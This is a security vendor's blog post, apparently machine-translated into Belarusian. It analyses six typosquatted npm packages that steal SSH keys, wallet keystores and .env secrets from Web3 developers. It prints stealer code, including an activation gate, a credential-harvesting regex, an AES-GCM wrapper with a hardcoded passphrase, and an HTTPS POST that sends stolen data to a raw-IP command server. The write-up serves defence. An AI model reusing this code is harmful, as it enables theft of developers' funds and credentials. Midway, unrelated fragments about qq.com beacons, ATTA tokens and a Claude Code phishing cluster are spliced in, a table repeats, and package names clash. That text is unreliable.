Атака з выкарыстаннем тыпасквотынгу EVMDeFi ў npm крадзе ключы распрацоўшчыкаў

Атака з выкарыстаннем тыпасквотынгу EVM/DeFi npm крадзе ключы распрацоўшчыкаў

TL, д-р

6 мая 2026 года адзіны выдавец npm, namikazesarada010206распаўсюдзіў шэсць шкоднасных пакетаў, накіраваных на экасістэму распрацоўшчыкаў Ethereum, Solidity і DeFi.

Пакеты, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, і web3-utils-core, выкарыстоўвалі праўдападобныя назвы, распрацаваныя так, каб выглядаць як дапаможныя бібліятэкі для папулярных інструментаў Web3.

Усе шэсць пакетаў утрымлівалі аднолькавае telemetry.js файл. Файл быў ідэнтычны па байтах ва ўсім кластары з выкарыстаннем SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Шкоднаснае праграмнае забеспячэнне не запускаецца падчас усталёўкі. Няма preinstall or postinstall кручок. Замест гэтага ён актывуецца, калі пакет імпартуецца праз require().

Гэтая дэталь мае значэнне.

Імплант чакае, пакуль распрацоўшчык фактычна выкарыстае пакет. Затым ён правярае, ці выглядае працоўная станцыя як рэальнае асяроддзе распрацоўкі Ethereum / Solidity. Ён шукае ключы Alchemy або Infura, прыватныя ключы, мнемоніку, ключы разгортвання або лакальны каталог Foundry.

Калі хост супадае, крадзеж збірае прыватныя ключы SSH, сховішчы ключоў кашалькоў Foundry / Geth / Brownie, .env* файлы і канфідэнцыйныя зменныя асяроддзя. Ён шыфруе пакет з дапамогай AES-256-GCM з выкарыстаннем жорстка закадаванай парольнай фразы і перасылае яго на неапрацаваную канчатковую кропку IPv4 C2 з адключанай праверкай TLS.

Сістэма ранняга папярэджання аб шкоднасных праграмах (MEW) кампаніі Xygeni пацвердзіла, што ўсе шэсць пакетаў шкоднасныя. Пакет справаздач аб выдаленні з рэестра npm чакае распрацоўкі.

Кластар: шэсць пакетаў, адзін выдавец

Уліковы запіс выдаўца namikazesarada010206 быў звязаны з неправераным адрасам Gmail namikazesarada010206@gmail.com.

Кампанія з'явілася ў выглядзе аднадзённага публікацыйнага выбуху 6 мая 2026 года. Усе шэсць пакетаў былі версійны як 1.0.0, не меў ніводнай залежнасці ад асяроддзя выканання і пастаўляў толькі тры файлы:

package.json index.js telemetry.js

Яны таксама абвясцілі той жа рэпазітар зыходнага кода:

https://github.com/harunosakura030303-maker/evmchain-config

Першыя тры пакеты былі выяўлены сканерамі MEW пры першай публікацыі. Астатнія тры былі прымусова пазначаны пасля праверкі npm-профіля выдаўца аналітыкамі. Пасля таго, як яны былі ідэнтычнымі па байтах telemetry.js было пацверджана па ўсім кластары, яны былі закрытыя як шкоднасныя з-за паслядоўнасці.

пакет версія Апублікавана npm Білет MEW Вердыкт
viema-core 1.0.0 2026-05-06 01:38:44Z #51049 Зламысны
viem-utils-core 1.0.0 2026-05-06 #51050 Зламысны
hardhat-core-utils 1.0.0 2026-05-06 #51051 Зламысны
evm-утыліты 1.0.0 2026-05-06 #51069 Зламысны па паслядоўнасці
foundry-utils 1.0.0 2026-05-06 #51071 Зламысны па паслядоўнасці
web3-utils-core 1.0.0 2026-05-06 #51070 Зламысны па паслядоўнасці

Стратэгія наймення простая, але эфектыўная.

Гэтыя пакеты не выдаюць сябе за дакладныя назвы праграмнага забеспячэння. Замест гэтага яны выкарыстоўваюць праўдападобныя суфіксы «ўтыліт», такія як -core, -utils, і -utils-coreГэта робіць іх падобнымі на суправаджальныя бібліятэкі, якія распрацоўшчык мог бы чакаць убачыць побач з інструментамі Web3.

Шкоднасны пакет Законная мэта
viema-core viem, папулярны кліент TypeScript для Ethereum
viem-utils-core В'ем
hardhat-core-utils hardhat, асноўнае асяроддзе распрацоўкі Solidity
evm-утыліты Агульная прастора імёнаў інструментаў EVM
foundry-utils ліцейны завод, набор інструментаў Solidity
web3-utils-core web3-utils, памочнікі Web3.js

Гэта шаблон «дадатковага пакета»: не «Я — сапраўдны пакет», а «Я выглядаю як разумны памочнік вакол сапраўднага пакета».

Для распрацоўшчыкаў DeFi, якія хутка рухаюцца наперад, гэтага дастаткова, каб стварыць рызыку.

Што адбываецца пры імпарты пакета

Ланцужок атак невялікі, мэтанакіраваны і сканцэнтраваны на асяроддзі распрацоўкі крыптавалют.

Няма ніякага кручка для ўстаноўкі. Замест гэтага кожны пакет уключае index.js які экспартуе функцыянальнасць заглушкі, а затым загружае модуль шкоднаснай тэлеметрыі.

require('./telemetry').init();

Гэта азначае, што шкоднаснае праграмнае забеспячэнне актывуецца пры першым імпарце.

Гэта карысна для зламысніка з пункту гледжання аперацыйнай сістэмы. Многія сканеры і пясочніцы сканцэнтраваны на паводзінах падчас усталёўкі. Гэты пакет чакае, пакуль ён фактычна не будзе выкарыстаны распрацоўшчыкам, скрыптом зборкі, наборам тэстаў або шляхам выканання.

Брама актывацыі: спрацоўвае толькі на рэальных працоўных станцыях распрацоўшчыка Web3

Найважнейшай часткай імплантата з'яўляецца актывацыйная засаўка.

Шкоднаснае праграмнае забеспячэнне правярае зменныя асяроддзя, якія звычайна сустракаюцца на машынах распрацоўшчыкаў Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Таксама правяраецца, ці ўсталяваны Foundry:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Калі ніводная з умоў не праўдзівая, функцыя вяртае значэнне і нічога не робіць.

Гэта робіць пакет больш ціхім у агульных асяроддзях аналізу. Пясочніца без ключоў Foundry, Alchemy, Infura, прыватных ключоў або мнемонікі можа выглядаць бяскрыўдным.

На адпаведным хасце шкоднаснае праграмнае забеспячэнне чакае ад 60 да 90 секунд перад зборам:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Затрымка памяншае відавочную карэляцыю паміж імпартам і вывазам. .unref() выклік таксама дазваляе працэсу гаспадара нармальна завяршыць працу, калі пакет быў імпартаваны ў кароткачасовым скрыпце.

Гэта не шумная паводзіна тыпу "разбі і захапі". Гэта мэтанакіраваны крадзеж, прызначаны для таго, каб пазбегнуць запуску, калі асяроддзе распрацоўшчыка не варта красці з яго.

Што збірае злодзей

Пасля праходжання этапу актывацыі шкоднаснае праграмнае забеспячэнне пачынае збіраць дадзеныя з найбольш важных для распрацоўкі Web3 крыніц: закрытых ключоў, сховішчаў ключоў кашалькоў, уліковых дадзеных для разгортвання, сакрэтаў воблака, токенаў npm і лакальнай канфігурацыі праекта.

Source Што збіраецца
process.env Любая зменная, якая адпавядае /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Файлы, якія змяшчаюць PRIVATE KEY або BEGIN OPENSSH, у тым ліку поўны змест файла
~/.foundry/keystores/* Файлы сховішча ключоў кашалька Foundry
~/.ethereum/keystore/* Файлы сховішча ключоў кашалька Geth
~/.brownie/accounts/* Файлы сховішча ключоў кашалька Brownie
${cwd}/.env Поўны змест файла
${cwd}/.env.local Поўны змест файла
${cwd}/.env.production Поўны змест файла
${cwd}/.env.development Поўны змест файла
os.імя_хаста() Метададзеныя хоста
crypto.randomUUID() Ідэнтыфікатар ахвяры/сесіі
Дата.зараз() Часовая метка збору
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Токены ATTA:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Нам не ўдалося пацвердзіць, ці была тэлеметрыя ўласнай аналітыкай аператара, ці асобна манетызаваным каналам. Токены ATTA аднолькавыя ў абодвух правераных намі выбарках.

Кластар B: heibai

claude.hk Фішынг OAuth + захоп ANTHROPIC_BASE_URL

Узор ад 1 красавіка — гэта больш грубая, ранняя частка кампаніі.

heibai:2.1.88-claude.hk-4 быў апублікаваны wuguoqiangvip28, уліковы запіс, створаны 7 чэрвеня 2025 года. Пакет відавочна выкарыстоўваў версіі, якія адпавядаюць законным 2.1.88 Антрапнае вызваленне.

Ён не мае дачынення да CA-cert MITM. Замест гэтага ён хлусіць карыстальніку пра канчатковую кропку OAuth.

Шкоднасныя дапаўненні, якія дадаліся да ўцечкі зыходнага кода Claude Code, уключаюць:

Source Што збіраецца
process.env Любая зменная, якая адпавядае /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Файлы, якія змяшчаюць PRIVATE KEY або BEGIN OPENSSH, у тым ліку поўны змест файла
~/.foundry/keystores/* Файлы сховішча ключоў кашалька Foundry
~/.ethereum/keystore/* Файлы сховішча ключоў кашалька Geth
~/.brownie/accounts/* Файлы сховішча ключоў кашалька Brownie
${cwd}/.env Поўны змест файла
${cwd}/.env.local Поўны змест файла
${cwd}/.env.production Поўны змест файла
${cwd}/.env.development Поўны змест файла
os.імя_хаста() Метададзеныя хоста
crypto.randomUUID() Ідэнтыфікатар ахвяры/сесіі
Дата.зараз() Часовая метка збору

Спіс мэтаў вельмі спецыфічны. Гэта не агульная крадзеж браўзера або шырокае выкраданне ўліковых дадзеных. Ён накіраваны на распрацоўшчыкаў, якія ствараюць, тэстуюць, разгортваюць або кіруюць праграмамі Ethereum.

Уключэнне сховішчаў ключоў Foundry, Geth і Brownie асабліва важна. Гэтыя файлы могуць прадстаўляць прамы доступ да кашалькоў або ідэнтыфікатараў разгортвання. Калі зламыснік зможа спалучыць іх з паролямі, мнемонікай або сакрэтамі асяроддзя, ён можа пераводзіць сродкі, выдаваць сябе за разгортвальнікі або кампраметаваць аперацыі смарт-кантрактаў.

Шыфраванне перад вывазам

Шкоднаснае праграмнае забеспячэнне шыфруе сабраныя дадзеныя перад адпраўкай.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Жорстка закадаваны пароль:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Канчатковая карысная нагрузка абгортваецца ў JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Шыфраванне само па сабе не робіць шкоднаснае праграмнае забеспячэнне больш прасунутым. Аднак яно ўскладняе праверку сеткі. Абаронца, які назірае за выхадам, убачыць карысную нагрузку JSON, але не скрадзеныя ключы, файлы кашалька або .env змесціва без жорстка закадаванай парольнай фразы і логікі расшыфроўкі.

Эксфільтрацыя ў сыры IPv4 C2

Шлях эксфільтрацыі жорстка закадзіраваны:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Шкоднаснае праграмнае забеспячэнне адпраўляе дадзеныя на:

https://76.13.37.80:8443/api/v1/telemetry

Вылучаюцца дзве дэталі.

Па-першае, C2 — гэта неапрацаваны IPv4-адрас, а не дамен. Гэта ліквідуе неабходнасць рэгістрацыі дамена і дазваляе пазбегнуць некаторых выяўленняў на аснове дамена.

Па-другое, праверка TLS адключаецца з дапамогай:

rejectUnauthorized: false

Гэта дазваляе шкоднаснай праграме прымаць любыя сертыфікаты, у тым ліку самападпісаныя. Іншымі словамі, зламыснік атрымлівае зашыфраваны транспарт без неабходнасці наяўнасці дзеючага публічнага сертыфіката.

Няма логікі паўторных спроб і няма рэзервовага хоста. Памылкі фіксуюцца ціха. Гэта дазваляе пакету заставацца ціхім, калі C2 адключаны ад сеткі або недаступны.

Чаму гэтая кампанія важная

Большасць шкоднасных npm-пакетаў, накіраваных на распрацоўшчыкаў, імкнуцца атрымаць шырокія ўліковыя дадзеныя: npm-токены, ключы AWS, токены GitHub або... .npmrc файлы.

Гэтая кампанія звужае мэту.

Ён шукае прыкметы таго, што машына належыць распрацоўшчыку Ethereum або Solidity. Затым ён выцягвае менавіта тыя рэсурсы, якія маюць значэнне ў гэтым асяроддзі: сховішчы ключоў кашалькоў, прыватныя ключы, мнемоніку, ключы разгортвання, .env файлы і ключы SSH.

Гэта робіць кампанію больш небяспечнай для каманд Web3, чым звычайны npm-стэйлер.

Паспяховае заражэнне можа выкрыць:

  • Кашалькі для разгортвання
  • Ключы адміністратара смарт-кантракту
  • Ключы пастаўшчыка RPC
  • Уліковыя дадзеныя для разгортвання ў воблаку
  • публікацыйныя токены npm
  • SSH-доступ да інфраструктуры распрацоўшчыка або зборкі
  • Сакрэты праекта захоўваюцца ў .env файлы
  • Сховішчы ключоў кашалькоў для Foundry, Geth або Brownie

Назвы пакетаў таксама сведчаць пра відавочную сацыяльную інжынерыю. Яны накіраваны на экасістэму распрацоўшчыкаў Web3 праз знаёмыя назвы інструментаў: viem, hardhat, foundry, evm, і web3.

Акцёру не трэба кампрамісаваць з рэальнымі праектамі. Ім патрэбен толькі распрацоўшчык, які ўсталюе, здаецца, разумны суправаджальны пакет.

Паказчыкі кампраметацыі і выяўлення

Пакеты і выдавец
Поле значэнне
выдавец npm наміказесарада010206
Электронная пошта выдаўца namikazesarada010206@gmail.com
Email verified няма
SCM правераны няма
Ацэнка рэпутацыі 1.0
Пакеты viem-core, viem-utils-core, hardhat-core-utils, evm-utils, ліцейны-utils, web3-utils-core
версіі Усе 1.0.0
Рэпазітар зыходнага кода https://github.com/harunosakura030303-maker/evmchain-config
Пацверджана шкоднаснае Усе шэсць пакетаў
сетка
тып значэнне
Канчатковая кропка C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Порт C2 8443/tcp
Паводзіны TLS адхіліцьНесанкцыянаванае: false
Схема карыснай нагрузкі {"v":2,"iv": "д": ,"т": }
Файлы і хэшы
тып значэнне
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Макет упакоўкі package.json, index.js, telemetry.js
Колькасць файлаў 3
Прыблізны агульны памер 3.4 KB

Сігналы актывацыі

Шкоднаснае праграмнае забеспячэнне правярае наступныя зменныя асяроддзя:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Таксама правяраецца:

~/.foundry/

Мэтавыя шляхі хаста

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Калекцыя рэгулярных выразаў

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Заўвагі па выяўленні

Некалькі правілаў ахопліваюць гэтую кампанію без неабходнасці поўнага паводніцкага аналізу.

Спачатку праскануйце файлы блакіроўкі на наяўнасць шасці назваў шкоднасных пакетаў:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Любы матч у package-lock.json, yarn.lock, pnpm-lock.yamlабо node_modules да гісторыі трэба ставіцца як да сур'ёзнай падзеі.

Па-другое, сачыце за працэсамі Node.js, якія чытаюць шляхі сховішча ключоў кашалька:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Гэта рэдка бывае законным для пакета, імпартаванага ў якасці дапаможнай залежнасці. Гэта асабліва падазрона, калі за ім ідзе выходная сеткавая актыўнасць.

Па-трэцяе, блакуйце або папярэджвайце пра HTTPS-злучэнні, каб:

76.13.37.80:8443

Асабліва, калі шлях запыту такі:

/api/v1/telemetry

Па-чацвёртае, знайдзіце npm-пакеты, якія спалучаюць наступныя рысы:

  • Новы або нізкарэпутацыйны выдавец
  • Неправераны ўліковы запіс Gmail
  • Назва пакета, сумежнага з Web3
  • Няма значнай гісторыі рэпазітара
  • Мініяцюрная макетка ўпакоўкі
  • index.js які загружае тэлеметрычны або дапаможны файл
  • Няма залежнасцей ад асяроддзя выканання
  • Калекцыя адчувальных зменных асяроддзя
  • Доступ да сховішча ключоў кашалька

Гэты шаблон больш карысны, чым адзін IOC, бо наступны пакет можа змяніць IP-адрас, але захаваць тую ж логіку таргетынгу.

Кантрольны спіс рэагавання на кампраміс

Калі распрацоўшчык выкарыстаў адзін з шасці пакетаў, і яго асяроддзе адпавядала браме актывацыі, рабочая станцыя павінна лічыцца ўзламанай.

Гэта ўключае машыны з усталяваным Foundry, ключамі Alchemy або Infura ў асяроддзі, прыватнымі ключамі, мнемонікай або ключамі разгортвання.

Рэкамендаваны адказ:

  • Адключыце хост ад сеткі.
  • Захаваць node_modules, файлы блакіроўкі, гісторыя абалонкі і адпаведныя журналы для экспертызы.
  • Змяняйце кожную пару ключоў SSH пад ~/.ssh/.
  • Змяняйце ключы кашалька для кожнага сховішча ключоў пад ~/.foundry, ~/.ethereum, і ~/.brownie.
  • Пераводзьце сродкі на новыя кашалькі.
  • Перавярніце кожны сакрэт, які захоўваецца ў .env* файлы ў рэпазіторыях, у якіх працаваў распрацоўшчык.
  • Змяняць сакрэты асяроддзя ў адпаведнасці з рэгулярным выразам калекцыі, у тым ліку ключы AWS, токены npm, токены разгортвання, ключы API, прыватныя ключы, пачатковыя значэнні і мнемонікі.
  • Аўдыт воблака, npm, GitHub, пастаўшчыка RPC і блокчейна з моманту першай усталёўкі пакета.
  • Перад паўторным выкарыстаннем перастварыце вобраз працоўнай станцыі.

Што павінны забраць абаронцы

Гэтая кампанія паказвае, як тыпасквотынг у npm развіваецца вакол высокакаштоўных экасістэм распрацоўшчыкаў.

Акцёру не патрэбна была настойлівасць. Ім не патрэбна была абфускацыя. Ім нават не патрэбна было выкананне падчас усталёўкі.

Замест гэтага яны абапіраліся на тры рэчы:

  • Верагодныя назвы пакетаў Web3
  • Актывацыя толькі на рэальных машынах для распрацоўкі крыптавалют
  • Прамое крадзеж файлаў і сакрэтаў, якія найбольш важныя для распрацоўшчыкаў Ethereum

З-за гэтага кампанію лёгка прапусціць пры шырокім аглядзе і зрабіць небяспечнай, калі яна трапляе ў патрэбнае асяроддзе.

Для каманд Web3 урок відавочны: разглядайце назвы залежнасцей як частку сваёй мадэлі пагроз. Пакет, які выглядае як бяскрыўдны памочнік, усё роўна можа стаць найкарацейшым шляхам да кампраметацыі кашалька.

Паведамленне пададзена ў рэестр npm. Мы абновім гэты пост, калі ўліковы запіс выдаўца і пакеты будуць выдалены.

інструменты-для-аналізу-складання-праграмнага ...
Прыярытэзуйце, ліквідуйце і абараняйце свае праграмныя рызыкі
Атрымайце свой бясплатны рахунак.
Не патрабуецца крэдытная карта.

Забяспечце распрацоўку і пастаўку праграмнага забеспячэння

з пакетам прадуктаў Xygeni